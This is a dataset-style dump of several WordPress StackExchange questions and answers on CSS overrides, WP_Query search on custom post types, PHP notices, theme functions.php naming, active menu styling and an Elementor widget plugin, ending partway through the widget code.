| I have started to convert my static page to WordPress theme. While I am doing this I have a place where the position of the background image of a section has to be set with values like `background-position:0 80%;`.
When I add the CSS to my custom CSS file which is main.css I found out there an internal CSS which is overriding my CSS like `background-postion:center !important`.
Then I changed my CSS to `background-position:0 80%; !important`
But it still doesn't work and I found out my CSS file is included before the internal CSS in the head ( **by view page source code**).
Now what I want to know is how can I change the order or how can I import my custom CSS (**main.css**) file after the internal CSS code? | First of all it should be: `background-position:0 80% !important;`
You said this style is applied to sections. How?
If you just add another selector, like instead using:
```
article{
background-position:0 80% !important;
}
```
use:
```
body article{
background-position:0 80% !important;
}
```
it may just work without any hacks. |
303,533 | <p>I have a custom post type 'property'. I am trying to make a search for it, but it does not work with wp_query parameter 's'.</p>
<pre><code>$wp_query = Wp_Query(['post_type' => 'property', 's' => 'test']);
</code></pre>
<p>It works fine with other Wp_query parameters, like this:</p>
<pre><code>$wp_query = Wp_Query([
'post_type' => 'property',
[
'taxonomy' => 'property_usage_type',
'field' => 'id',
'terms' => $_GET['sb-usage-type'],
]
]);
</code></pre>
<p>It also works with other parameters except for 's'. But 's' is working with 'post' post type.
I also tried to echo out sql query - <code>$wp_query->request</code> but it is echos out anything unless I remove 's'.</p>
| [
{
"answer_id": 303540,
"author": "IvanMunoz",
"author_id": 143424,
"author_profile": "https://wordpress.stackexchange.com/users/143424",
"pm_score": 1,
"selected": false,
"text": "<p>I tried to reproduce the problem and you are right I had the same issue with s parameter + post_type filter.</p>\n\n<p>I suppose that Wordpress do this for any reason.</p>\n\n<p>You can fix this adding this in your template or in your functions.php</p>\n\n<pre><code>add_filter( 'pre_get_posts', 'tgm_io_cpt_search' );\n/**\n * This function modifies the main WordPress query to include an array of\n * post types instead of the default 'post' post type.\n *\n * @param object $query The original query.\n * @return object $query The amended query.\n */\nfunction tgm_io_cpt_search( $query ) {\n\n if ( $query->is_search ) {\n $query->set( 'post_type', array( 'property' ) );\n }\n\n return $query;\n\n}\n\n$the_query = new WP_Query( array('s' => 'test') );\n</code></pre>\n\n<p>Reference code:\n<a href=\"https://thomasgriffin.io/how-to-include-custom-post-types-in-wordpress-search-results/\" rel=\"nofollow noreferrer\">https://thomasgriffin.io/how-to-include-custom-post-types-in-wordpress-search-results/</a></p>\n"
},
{
"answer_id": 303553,
"author": "Bikash Waiba",
"author_id": 121069,
"author_profile": "https://wordpress.stackexchange.com/users/121069",
"pm_score": 2,
"selected": false,
"text": "<p>You can do like this,</p>\n\n<pre><code>$args = array(\n 'post_type' => 'tribe_events', \n 'post_per_page' => get_option('posts_per_page'), \n 's' => get_search_query()\n );\n\n$query = new WP_Query($args); // Use new keyword and you need to use WP_Query not Wp_Query\n\nwhile($query->have_posts()): $query->the_post();\n\n the_title();\n\nendwhile;wp_reset_postdata(); \n</code></pre>\n\n<p>I used this in <code>search.php</code> file. Worked without any problem.</p>\n"
}
]
| 2018/05/14 | [
"https://wordpress.stackexchange.com/questions/303533",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143593/"
]
| I have a custom post type 'property'. I am trying to make a search for it, but it does not work with wp\_query parameter 's'.
```
$wp_query = Wp_Query(['post_type' => 'property', 's' => 'test']);
```
It works fine with other Wp\_query parameters, like this:
```
$wp_query = Wp_Query([
'post_type' => 'property',
[
'taxonomy' => 'property_usage_type',
'field' => 'id',
'terms' => $_GET['sb-usage-type'],
]
]);
```
It also works with other parameters except for 's'. But 's' is working with 'post' post type.
I also tried to echo out sql query - `$wp_query->request` but it is echos out anything unless I remove 's'. | You can do like this,
```
$args = array(
'post_type' => 'tribe_events',
'post_per_page' => get_option('posts_per_page'),
's' => get_search_query()
);
$query = new WP_Query($args); // Use new keyword and you need to use WP_Query not Wp_Query
while($query->have_posts()): $query->the_post();
the_title();
endwhile;wp_reset_postdata();
```
I used this in `search.php` file. Worked without any problem. |
303,549 | <p>I use a function to modify titles of various pages.</p>
<p>Although it appears to work, it shows a debug error of... Notice: Undefined variable: parents_titles line xxx.</p>
<p>It'll be because of my 'little knowledge, dangerous thing' uninformed tampering of whatever source I began with.</p>
<p>What changes does it need?</p>
<pre><code>function change_wp_title( $title ) {
global $post, $paged;
// All parents.
$parents = get_post_ancestors( $post->ID );
foreach ( array_reverse( $parents ) as $key => $parentpost ) {
$postdata = get_post( $parentpost );
$parents_titles .= $postdata->post_title . ' : ';
}
$parent_title = get_the_title($post->post_parent) . ': ';
if ( is_404() ) {
$title['title'] = 'file not available';
}
elseif ( 4808 == $post->post_parent ) {
$title['title'] = 'About: Who: ' . $parent_title . $title['title'];
}
// Various conditionals for other pages.
else {
$title['title'] = $parents_titles . $title['title'];
}
return $title;
}
add_filter( 'document_title_parts', 'change_wp_title', 20, 1);
</code></pre>
| [
{
"answer_id": 303551,
"author": "Nouniz",
"author_id": 143601,
"author_profile": "https://wordpress.stackexchange.com/users/143601",
"pm_score": 1,
"selected": false,
"text": "<p>You must initialize your variable $parents_titles before the foreach</p>\n\n<pre><code>$parents_titles = '';\n</code></pre>\n"
},
{
"answer_id": 303568,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 0,
"selected": false,
"text": "<p>Notice in your code is caused by undefined variable. But there are some more things that could be done a little bit nicer...</p>\n\n<pre><code>function change_wp_title( $title ) {\n global $post, $paged;\n\n if ( is_404() ) { // move this check here; if it's 404, there is no point in checking parents, ancestors, and so on\n $title['title'] = 'file not available';\n return $title;\n }\n\n $parent_title = $parents_titles = ''; // initialise titles with empty string\n\n // All parents.\n $parents = get_post_ancestors( $post->ID );\n if ( ! empty($parents) ) { // check if $parents is not empty\n foreach ( array_reverse( $parents ) as $key => $parentpost ) {\n $parents_titles .= get_post_field( 'post_title', $parentpost ) . ' : '; // You don't have to get all fields for given post\n }\n }\n\n if ( $post->post_parent ) { // check if there is parent\n $parent_title = get_the_title($post->post_parent) . ': ';\n }\n\n\n if ( 4808 == $post->post_parent ) {\n $title['title'] = 'About: Who: ' . $parent_title . $title['title'];\n }\n\n // Various conditionals for other pages.\n\n else {\n $title['title'] = $parents_titles . $title['title'];\n }\n\n return $title;\n}\nadd_filter( 'document_title_parts', 'change_wp_title', 20, 1);\n</code></pre>\n"
}
]
| 2018/05/14 | [
"https://wordpress.stackexchange.com/questions/303549",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/103213/"
]
| I use a function to modify titles of various pages.
Although it appears to work, it shows a debug error of... Notice: Undefined variable: parents\_titles line xxx.
It'll be because of my 'little knowledge, dangerous thing' uninformed tampering of whatever source I began with.
What changes does it need?
```
function change_wp_title( $title ) {
global $post, $paged;
// All parents.
$parents = get_post_ancestors( $post->ID );
foreach ( array_reverse( $parents ) as $key => $parentpost ) {
$postdata = get_post( $parentpost );
$parents_titles .= $postdata->post_title . ' : ';
}
$parent_title = get_the_title($post->post_parent) . ': ';
if ( is_404() ) {
$title['title'] = 'file not available';
}
elseif ( 4808 == $post->post_parent ) {
$title['title'] = 'About: Who: ' . $parent_title . $title['title'];
}
// Various conditionals for other pages.
else {
$title['title'] = $parents_titles . $title['title'];
}
return $title;
}
add_filter( 'document_title_parts', 'change_wp_title', 20, 1);
``` | You must initialize your variable $parents\_titles before the foreach
```
$parents_titles = '';
``` |
303,563 | <p>I am totally new to WordPress and developing my own theme but <strong>function.php</strong> is not loading CSS file.</p>
<p>header.php</p>
<pre><code><html>
<head>
<?php wp_head(); ?>
</head>
<body>
<h2>I'm header.php</h2>
</code></pre>
<p>single.php</p>
<pre><code><?php
get_header();
while (have_posts()) {
the_post();
?>
<h2><?php the_title(); ?></h2>
<?php the_content(); ?>
<?php }
?>
</code></pre>
<p>function.php</p>
<pre><code><?php
function main_css() {
wp_enqueue_style('style', get_stylesheet_uri() );
}
add_action( 'wp_enqueue_scripts', 'main_css' );
</code></pre>
<p>style.css</p>
<pre><code>/*
Theme Name: My Theme
Author: Tesla
Version: 1.0
*/
body{
color: green;
}
h1{
color: pink;
}
</code></pre>
<p>I have tried many ways but it's not loading even disable the browser cookies, hard refresh, reinstall the Wordpress. </p>
<p>Whats wrong with my code?</p>
| [
{
"answer_id": 303565,
"author": "Quang Hoang",
"author_id": 134874,
"author_profile": "https://wordpress.stackexchange.com/users/134874",
"pm_score": 3,
"selected": true,
"text": "<p>The theme functions file name must be called <code>functions.php</code> not <code>function.php</code>. This can cause your code to not implement? You must check carefully.</p>\n"
},
{
"answer_id": 303970,
"author": "PixemWeb",
"author_id": 93396,
"author_profile": "https://wordpress.stackexchange.com/users/93396",
"pm_score": 0,
"selected": false,
"text": "<p>As was mentioned by Mr. Optical and Mat, the name of your functions files needs to be functions.php.</p>\n\n<p>I think it's great that you're looking to learn how to code a WordPress Theme. One thing I recommend for aspiring theme developers is downloading the <a href=\"http://underscores.me/\" rel=\"nofollow noreferrer\">Underscores Starter Theme</a> which is maintained by the team at Automattic.</p>\n\n<p>This will give you the foundation that you can use for your theme or it can serve as a reference to learn from.</p>\n\n<p>I also recommend book marking the <a href=\"https://developer.wordpress.org/themes/\" rel=\"nofollow noreferrer\">WordPress Theme Developer Handbook</a>. There, you'll get valuable information on how to properly develop a WordPress Theme.</p>\n"
}
]
| 2018/05/14 | [
"https://wordpress.stackexchange.com/questions/303563",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143616/"
]
| I am totally new to WordPress and developing my own theme but **function.php** is not loading CSS file.
header.php
```
<html>
<head>
<?php wp_head(); ?>
</head>
<body>
<h2>I'm header.php</h2>
```
single.php
```
<?php
get_header();
while (have_posts()) {
the_post();
?>
<h2><?php the_title(); ?></h2>
<?php the_content(); ?>
<?php }
?>
```
function.php
```
<?php
function main_css() {
wp_enqueue_style('style', get_stylesheet_uri() );
}
add_action( 'wp_enqueue_scripts', 'main_css' );
```
style.css
```
/*
Theme Name: My Theme
Author: Tesla
Version: 1.0
*/
body{
color: green;
}
h1{
color: pink;
}
```
I have tried many ways but it's not loading even disable the browser cookies, hard refresh, reinstall the Wordpress.
Whats wrong with my code? | The theme functions file name must be called `functions.php` not `function.php`. This can cause your code to not implement? You must check carefully. |
303,691 | <p>I altered some functions in the PHP file of my website using WordPress Admin Panel:</p>
<p><code>Appearance</code> → <code>Editor</code></p>
<p>Now not only has my website been destroyed, but also the WordPress dashboard. I cannot access anything on there that allows me to edit the website, such as <code>Appearance</code> → <code>Editor</code>, or <code>Pages</code> → <code>All Pages</code>, NOTHING!</p>
<p>The error I get when I try and access the dashboard editor pages is below (I get the same error when I type the frontend URL of my website into my browser as well):</p>
<pre><code>Fatal error: Cannot redeclare twentyseventeen_widget_tag_cloud_args()
</code></pre>
<blockquote>
<p><strong><em>Note:</em></strong> I cannot even access the PHP file that I altered because I'm editing using WordPress back end's <code>Appearance</code> → <code>Editor</code>.</p>
</blockquote>
| [
{
"answer_id": 303695,
"author": "Mat",
"author_id": 37985,
"author_profile": "https://wordpress.stackexchange.com/users/37985",
"pm_score": 0,
"selected": false,
"text": "<p>This is exactly why you shouldn't really use the WordPress <strong>Appearance -> Editor</strong>.</p>\n\n<p>Your website is not 'destroyed' though. Simply login to your web hosting control panel and use the file manager to remove whatever code you entered (the call to the <code>twentyseventeen_widget_tag_cloud_args()</code> function, or use an FTP client to edit your files and remove the function call.</p>\n"
},
{
"answer_id": 304035,
"author": "Fayaz",
"author_id": 110572,
"author_profile": "https://wordpress.stackexchange.com/users/110572",
"pm_score": 2,
"selected": true,
"text": "<h3>Why it happened:</h3>\n\n<p>Since WordPress back end editor runs on top of WordPress itself, if you cause a critical Error within the PHP files, that will cause error on the backend Admin Panel as well. At that point you will no longer be able to access the backend editor until you fix the error.</p>\n\n<h3>What is that Error:</h3>\n\n<p>When you see PHP reporting an error like the following:</p>\n\n<blockquote>\n <p>Fatal error: Cannot redeclare <code>some_function_name()</code></p>\n</blockquote>\n\n<p>This means that the above mentioned function was already declared before and then you created a function with the same name again. PHP cannot have the same function name more than once within the same scope.</p>\n\n<p>In your case, you probably created a new theme function named <code>twentyseventeen_widget_tag_cloud_args()</code> which already existed in the <code>functions.php</code> file of Twenty Seventeen theme.</p>\n\n<h2>How to solve it:</h2>\n\n<p>Now you cannot access PHP from WordPress backend (the reason is explained above), but you can still access the PHP files from FTP (ask your web host) or from CPanel (or any such control panel) provided by your web hosting company.</p>\n\n<p>Once you can access the PHP files by other means, you need to remove (or rename) that newly created function named <code>twentyseventeen_widget_tag_cloud_args()</code> and save the file.</p>\n\n<blockquote>\n <p><strong><em>Note:</em></strong> As already suggested by <a href=\"https://wordpress.stackexchange.com/a/303695/110572\">Mat</a>, it's not a good practice to edit PHP files from WordPress backend editor. Instead use FTP (preferably FTPS or SFTP) or an alternate file editing method from your web server.</p>\n</blockquote>\n"
}
]
| 2018/05/16 | [
"https://wordpress.stackexchange.com/questions/303691",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143724/"
]
| I altered some functions in the PHP file of my website using WordPress Admin Panel:
`Appearance` → `Editor`
Now not only has my website been destroyed, but also the WordPress dashboard. I cannot access anything on there that allows me to edit the website, such as `Appearance` → `Editor`, or `Pages` → `All Pages`, NOTHING!
The error I get when I try and access the dashboard editor pages is below (I get the same error when I type the frontend URL of my website into my browser as well):
```
Fatal error: Cannot redeclare twentyseventeen_widget_tag_cloud_args()
```
>
> ***Note:*** I cannot even access the PHP file that I altered because I'm editing using WordPress back end's `Appearance` → `Editor`.
>
>
> | ### Why it happened:
Since WordPress back end editor runs on top of WordPress itself, if you cause a critical Error within the PHP files, that will cause error on the backend Admin Panel as well. At that point you will no longer be able to access the backend editor until you fix the error.
### What is that Error:
When you see PHP reporting an error like the following:
>
> Fatal error: Cannot redeclare `some_function_name()`
>
>
>
This means that the above mentioned function was already declared before and then you created a function with the same name again. PHP cannot have the same function name more than once within the same scope.
In your case, you probably created a new theme function named `twentyseventeen_widget_tag_cloud_args()` which already existed in the `functions.php` file of Twenty Seventeen theme.
How to solve it:
----------------
Now you cannot access PHP from WordPress backend (the reason is explained above), but you can still access the PHP files from FTP (ask your web host) or from CPanel (or any such control panel) provided by your web hosting company.
Once you can access the PHP files by other means, you need to remove (or rename) that newly created function named `twentyseventeen_widget_tag_cloud_args()` and save the file.
>
> ***Note:*** As already suggested by [Mat](https://wordpress.stackexchange.com/a/303695/110572), it's not a good practice to edit PHP files from WordPress backend editor. Instead use FTP (preferably FTPS or SFTP) or an alternate file editing method from your web server.
>
>
> |
303,733 | <p>I have been able to style primary menu with hover class, but active class is not working: (www.gehrkeshardwoodflooring.com)</p>
<pre><code>.main-navigation {
color: #b2a79b !important;
}
.main-navigation a:link {
color: #b2a79b !important;
}
.main-navigation a:visited {
color: #b2a79b !important;
}
.main-navigation a:hover {
color: #4d4d4d !important;
}
.main-navigation, #primary-menu a:active {
color: #4d4d4d !important;
}
</code></pre>
| [
{
"answer_id": 303737,
"author": "IvanMunoz",
"author_id": 143424,
"author_profile": "https://wordpress.stackexchange.com/users/143424",
"pm_score": 1,
"selected": false,
"text": "<p>You don't have a.active in your code, you have <em>.main-navigation li.current_page_item a</em></p>\n\n<p>So, this should fix this:</p>\n\n<pre><code>.main-navigation li:hover a { color: #4d4d4d; }\n.main-navigation li.current_page_item a { color: #4d4d4d; }\n</code></pre>\n\n<p>Are you agree?</p>\n"
},
{
"answer_id": 303741,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 2,
"selected": false,
"text": "<p>It looks like you might be confusing the <a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/:active\" rel=\"nofollow noreferrer\"><code>:active</code> CSS pseudo class</a> and an actual <code>.active</code> class. The pseudo class represents an element that is being activated by the user. It is not the active page.</p>\n\n<p>If you want to use the <code>active</code> class on the current page, you can use the <a href=\"https://developer.wordpress.org/reference/hooks/nav_menu_css_class/\" rel=\"nofollow noreferrer\"><code>nav_menu_css_class</code></a> filter to add to the nav menu classes.</p>\n\n<pre><code>function wpse_nav_menu_css_class( array $classes, $item, $args, $depth ) {\n if( in_array( 'current-menu-item', $classes ) ) {\n $classes[] = 'active';\n }\n return $classes;\n}\nadd_filter( 'nav_menu_css_class', 'wpse_nav_menu_css_class', 10, 4 );\n</code></pre>\n\n<p>Then, to style the active class,</p>\n\n<pre><code>.main-navigation, #primary-menu .active a {\n color: #4d4d4d !important;\n}\n</code></pre>\n\n<p>Otherwise, you can use the <code>current-menu-item</code> class instead. (Note the hyphens and not underscores)</p>\n\n<pre><code>.main-navigation, #primary-menu .current-menu-item a {\n color: #4d4d4d !important;\n}\n</code></pre>\n"
}
]
| 2018/05/16 | [
"https://wordpress.stackexchange.com/questions/303733",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143751/"
]
| I have been able to style primary menu with hover class, but active class is not working: (www.gehrkeshardwoodflooring.com)
```
.main-navigation {
color: #b2a79b !important;
}
.main-navigation a:link {
color: #b2a79b !important;
}
.main-navigation a:visited {
color: #b2a79b !important;
}
.main-navigation a:hover {
color: #4d4d4d !important;
}
.main-navigation, #primary-menu a:active {
color: #4d4d4d !important;
}
``` | It looks like you might be confusing the [`:active` CSS pseudo class](https://developer.mozilla.org/en-US/docs/Web/CSS/:active) and an actual `.active` class. The pseudo class represents an element that is being activated by the user. It is not the active page.
If you want to use the `active` class on the current page, you can use the [`nav_menu_css_class`](https://developer.wordpress.org/reference/hooks/nav_menu_css_class/) filter to add to the nav menu classes.
```
function wpse_nav_menu_css_class( array $classes, $item, $args, $depth ) {
if( in_array( 'current-menu-item', $classes ) ) {
$classes[] = 'active';
}
return $classes;
}
add_filter( 'nav_menu_css_class', 'wpse_nav_menu_css_class', 10, 4 );
```
Then, to style the active class,
```
.main-navigation, #primary-menu .active a {
color: #4d4d4d !important;
}
```
Otherwise, you can use the `current-menu-item` class instead. (Note the hyphens and not underscores)
```
.main-navigation, #primary-menu .current-menu-item a {
color: #4d4d4d !important;
}
``` |
303,747 | <p>I'm trying to assign a php file to a specfic page?</p>
<p>I have modals stored in different files and want have them load in when their assigned page is called. These pages are using the same theme, "Portfolio".</p>
<p>If I do something like:</p>
<pre class="lang-php prettyprint-override"><code><?php $id="page-id-8229"; include '/modals/work/cplfModals.php';?>
</code></pre>
<p>for each file in my Portfolio template, each page will still load all of the modals that are assigned, not just the one that I'm try to assign to that page.</p>
<p>Is there a way to try this in <code>functions.php</code>?</p>
<p>EDIT: My apologies for not being clear, so I'll show the pages.</p>
<p>Here's a sample of the portfolio page with the image buttons:
<a href="http://rpm2018.rpmadv.com/index.php/work/thundervalley/" rel="nofollow noreferrer">sample portfolio page</a>.
Apologies if you can't view the link, it's still on the server and hasn't launched just yet.</p>
<p>All of the "work" pages are going to hold the modal buttons. All of these pages will be duplicates of the same page template. So that load won't be affected by having a bunch of modals just hanging in my header, I think it would be great to have the modals properly catalogued and only called when needed, sort of like a data feed (I imagine).</p>
<p>In my theme, there's a folder called <em>"modals"</em> and for this page we would need to call <code>/modals/work/thunderModals.php</code> for <code>page-id-1270</code>.</p>
<p>I have not yet implemented the last 2 suggestions but I will get started. Thank you to everyone who is helping out on this. Your time is greatly appreciated.</p>
<p>So, I read through the wp hierarchy and through there I was looking for how to properly target slugs and I found this:</p>
<pre class="lang-php prettyprint-override"><code><?php echo get_page_template_slug( $post->ID ); ?>
</code></pre>
<p>I went back to my <code>portfolio.php</code> template (which is the shell for all of my work/child pages). So to that I appended an 'include'. Now I have something like this:</p>
<pre class="lang-php prettyprint-override"><code><?php get_page_template_slug('page-id-1270'); include '/modals/work/thunderModals.php';?>
</code></pre>
<p>Seems to work so I added a few more lines for my other pages. <strong>But</strong> when I got to my other <code>portfolio.php</code>-themed pages, I can see that all of the modals are loaded in, including the modals for the other pages. <strong>New question:</strong></p>
<p><strong>Can this line of code be modified so that the files will remain specific to their page?</strong></p>
| [
{
"answer_id": 303737,
"author": "IvanMunoz",
"author_id": 143424,
"author_profile": "https://wordpress.stackexchange.com/users/143424",
"pm_score": 1,
"selected": false,
"text": "<p>You don't have a.active in your code, you have <em>.main-navigation li.current_page_item a</em></p>\n\n<p>So, this should fix this:</p>\n\n<pre><code>.main-navigation li:hover a { color: #4d4d4d; }\n.main-navigation li.current_page_item a { color: #4d4d4d; }\n</code></pre>\n\n<p>Are you agree?</p>\n"
},
{
"answer_id": 303741,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 2,
"selected": false,
"text": "<p>It looks like you might be confusing the <a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/:active\" rel=\"nofollow noreferrer\"><code>:active</code> CSS pseudo class</a> and an actual <code>.active</code> class. The pseudo class represents an element that is being activated by the user. It is not the active page.</p>\n\n<p>If you want to use the <code>active</code> class on the current page, you can use the <a href=\"https://developer.wordpress.org/reference/hooks/nav_menu_css_class/\" rel=\"nofollow noreferrer\"><code>nav_menu_css_class</code></a> filter to add to the nav menu classes.</p>\n\n<pre><code>function wpse_nav_menu_css_class( array $classes, $item, $args, $depth ) {\n if( in_array( 'current-menu-item', $classes ) ) {\n $classes[] = 'active';\n }\n return $classes;\n}\nadd_filter( 'nav_menu_css_class', 'wpse_nav_menu_css_class', 10, 4 );\n</code></pre>\n\n<p>Then, to style the active class,</p>\n\n<pre><code>.main-navigation, #primary-menu .active a {\n color: #4d4d4d !important;\n}\n</code></pre>\n\n<p>Otherwise, you can use the <code>current-menu-item</code> class instead. (Note the hyphens and not underscores)</p>\n\n<pre><code>.main-navigation, #primary-menu .current-menu-item a {\n color: #4d4d4d !important;\n}\n</code></pre>\n"
}
]
| 2018/05/16 | [
"https://wordpress.stackexchange.com/questions/303747",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143762/"
]
| I'm trying to assign a php file to a specfic page?
I have modals stored in different files and want have them load in when their assigned page is called. These pages are using the same theme, "Portfolio".
If I do something like:
```php
<?php $id="page-id-8229"; include '/modals/work/cplfModals.php';?>
```
for each file in my Portfolio template, each page will still load all of the modals that are assigned, not just the one that I'm try to assign to that page.
Is there a way to try this in `functions.php`?
EDIT: My apologies for not being clear, so I'll show the pages.
Here's a sample of the portfolio page with the image buttons:
[sample portfolio page](http://rpm2018.rpmadv.com/index.php/work/thundervalley/).
Apologies if you can't view the link, it's still on the server and hasn't launched just yet.
All of the "work" pages are going to hold the modal buttons. All of these pages will be duplicates of the same page template. So that load won't be affected by having a bunch of modals just hanging in my header, I think it would be great to have the modals properly catalogued and only called when needed, sort of like a data feed (I imagine).
In my theme, there's a folder called *"modals"* and for this page we would need to call `/modals/work/thunderModals.php` for `page-id-1270`.
I have not yet implemented the last 2 suggestions but I will get started. Thank you to everyone who is helping out on this. Your time is greatly appreciated.
So, I read through the wp hierarchy and through there I was looking for how to properly target slugs and I found this:
```php
<?php echo get_page_template_slug( $post->ID ); ?>
```
I went back to my `portfolio.php` template (which is the shell for all of my work/child pages). So to that I appended an 'include'. Now I have something like this:
```php
<?php get_page_template_slug('page-id-1270'); include '/modals/work/thunderModals.php';?>
```
Seems to work so I added a few more lines for my other pages. **But** when I got to my other `portfolio.php`-themed pages, I can see that all of the modals are loaded in, including the modals for the other pages. **New question:**
**Can this line of code be modified so that the files will remain specific to their page?** | It looks like you might be confusing the [`:active` CSS pseudo class](https://developer.mozilla.org/en-US/docs/Web/CSS/:active) and an actual `.active` class. The pseudo class represents an element that is being activated by the user. It is not the active page.
If you want to use the `active` class on the current page, you can use the [`nav_menu_css_class`](https://developer.wordpress.org/reference/hooks/nav_menu_css_class/) filter to add to the nav menu classes.
```
function wpse_nav_menu_css_class( array $classes, $item, $args, $depth ) {
if( in_array( 'current-menu-item', $classes ) ) {
$classes[] = 'active';
}
return $classes;
}
add_filter( 'nav_menu_css_class', 'wpse_nav_menu_css_class', 10, 4 );
```
Then, to style the active class,
```
.main-navigation, #primary-menu .active a {
color: #4d4d4d !important;
}
```
Otherwise, you can use the `current-menu-item` class instead. (Note the hyphens and not underscores)
```
.main-navigation, #primary-menu .current-menu-item a {
color: #4d4d4d !important;
}
``` |
303,752 | <p>I'm trying to create basic widget in Elementor. When following the developer docs to create a new widget, the following error is thrown:</p>
<p>Fatal error: Class 'Elementor\Widget_Base' not found</p>
<p>Here is my code (mostly copied from official docs)</p>
<p><strong>Main plugin extension class:</strong></p>
<pre><code><?php
/**
* Plugin Name: Deo Elementor Extension
* Description: Custom Elementor extension.
* Plugin URI: https://elementor.com/
* Version: 1.0.0
* Author: DeoThemes
* Author URI: https://elementor.com/
* Text Domain: deo-elementor-extension
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
/**
* Main Elementor Test Extension Class
*
* The main class that initiates and runs the plugin.
*
* @since 1.0.0
*/
final class Elementor_Test_Extension {
/**
* Plugin Version
*
* @since 1.0.0
*
* @var string The plugin version.
*/
const VERSION = '1.0.0';
/**
* Minimum Elementor Version
*
* @since 1.0.0
*
* @var string Minimum Elementor version required to run the plugin.
*/
const MINIMUM_ELEMENTOR_VERSION = '2.0.0';
/**
* Minimum PHP Version
*
* @since 1.0.0
*
* @var string Minimum PHP version required to run the plugin.
*/
const MINIMUM_PHP_VERSION = '7.0';
/**
* Instance
*
* @since 1.0.0
*
* @access private
* @static
*
* @var Elementor_Test_Extension The single instance of the class.
*/
private static $_instance = null;
/**
* Instance
*
* Ensures only one instance of the class is loaded or can be loaded.
*
* @since 1.0.0
*
* @access public
* @static
*
* @return Elementor_Test_Extension An instance of the class.
*/
public static function instance() {
if ( is_null( self::$_instance ) ) {
self::$_instance = new self();
}
return self::$_instance;
}
/**
* Constructor
*
* @since 1.0.0
*
* @access public
*/
public function __construct() {
add_action( 'init', [ $this, 'i18n' ] );
add_action( 'plugins_loaded', [ $this, 'init' ] );
}
/**
* Load Textdomain
*
* Load plugin localization files.
*
* Fired by `init` action hook.
*
* @since 1.0.0
*
* @access public
*/
public function i18n() {
load_plugin_textdomain( 'elementor-test-extension' );
}
/**
* Initialize the plugin
*
* Load the plugin only after Elementor (and other plugins) are loaded.
* Checks for basic plugin requirements, if one check fail don't continue,
* if all check have passed load the files required to run the plugin.
*
* Fired by `plugins_loaded` action hook.
*
* @since 1.0.0
*
* @access public
*/
public function init() {
// Check if Elementor installed and activated
if ( ! did_action( 'elementor/loaded' ) ) {
add_action( 'admin_notices', [ $this, 'admin_notice_missing_main_plugin' ] );
return;
}
// Check for required Elementor version
if ( ! version_compare( ELEMENTOR_VERSION, self::MINIMUM_ELEMENTOR_VERSION, '>=' ) ) {
add_action( 'admin_notices', [ $this, 'admin_notice_minimum_elementor_version' ] );
return;
}
// Check for required PHP version
if ( version_compare( PHP_VERSION, self::MINIMUM_PHP_VERSION, '<' ) ) {
add_action( 'admin_notices', [ $this, 'admin_notice_minimum_php_version' ] );
return;
}
// Include plugin files
$this->includes();
// Register widgets
add_action( 'elementor/widgets/widgets_registered', [ $this, 'register_widgets' ] );
}
/**
* Admin notice
*
* Warning when the site doesn't have Elementor installed or activated.
*
* @since 1.0.0
*
* @access public
*/
public function admin_notice_missing_main_plugin() {
if ( isset( $_GET['activate'] ) ) unset( $_GET['activate'] );
$message = sprintf(
/* translators: 1: Plugin name 2: Elementor */
esc_html__( '"%1$s" requires "%2$s" to be installed and activated.', 'elementor-test-extension' ),
'<strong>' . esc_html__( 'Elementor Test Extension', 'elementor-test-extension' ) . '</strong>',
'<strong>' . esc_html__( 'Elementor', 'elementor-test-extension' ) . '</strong>'
);
printf( '<div class="notice notice-warning is-dismissible"><p>%1$s</p></div>', $message );
}
/**
* Admin notice
*
* Warning when the site doesn't have a minimum required Elementor version.
*
* @since 1.0.0
*
* @access public
*/
public function admin_notice_minimum_elementor_version() {
if ( isset( $_GET['activate'] ) ) unset( $_GET['activate'] );
$message = sprintf(
/* translators: 1: Plugin name 2: Elementor 3: Required Elementor version */
esc_html__( '"%1$s" requires "%2$s" version %3$s or greater.', 'elementor-test-extension' ),
'<strong>' . esc_html__( 'Elementor Test Extension', 'elementor-test-extension' ) . '</strong>',
'<strong>' . esc_html__( 'Elementor', 'elementor-test-extension' ) . '</strong>',
self::MINIMUM_ELEMENTOR_VERSION
);
printf( '<div class="notice notice-warning is-dismissible"><p>%1$s</p></div>', $message );
}
/**
* Admin notice
*
* Warning when the site doesn't have a minimum required PHP version.
*
* @since 1.0.0
*
* @access public
*/
public function admin_notice_minimum_php_version() {
if ( isset( $_GET['activate'] ) ) unset( $_GET['activate'] );
$message = sprintf(
/* translators: 1: Plugin name 2: PHP 3: Required PHP version */
esc_html__( '"%1$s" requires "%2$s" version %3$s or greater.', 'elementor-test-extension' ),
'<strong>' . esc_html__( 'Elementor Test Extension', 'elementor-test-extension' ) . '</strong>',
'<strong>' . esc_html__( 'PHP', 'elementor-test-extension' ) . '</strong>',
self::MINIMUM_PHP_VERSION
);
printf( '<div class="notice notice-warning is-dismissible"><p>%1$s</p></div>', $message );
}
/**
* Include Files
*
* Load required plugin core files.
*
* @since 1.0.0
*
* @access public
*/
public function includes() {
require_once( __DIR__ . '/widgets/test-widget.php' );
//require_once( __DIR__ . '/controls/test-control.php' );
}
public function register_widgets() {
\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor_oEmbed_Widget() );
}
}
Elementor_Test_Extension::instance();
</code></pre>
<p><strong>Test widget class:</strong></p>
<pre><code><?php
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Elementor_oEmbed_Widget extends \Elementor\Widget_Base {
/**
* Get widget name.
*
* Retrieve oEmbed widget name.
*
* @since 1.0.0
* @access public
*
* @return string Widget name.
*/
public function get_name() {
return 'oembed';
}
/**
* Get widget title.
*
* Retrieve oEmbed widget title.
*
* @since 1.0.0
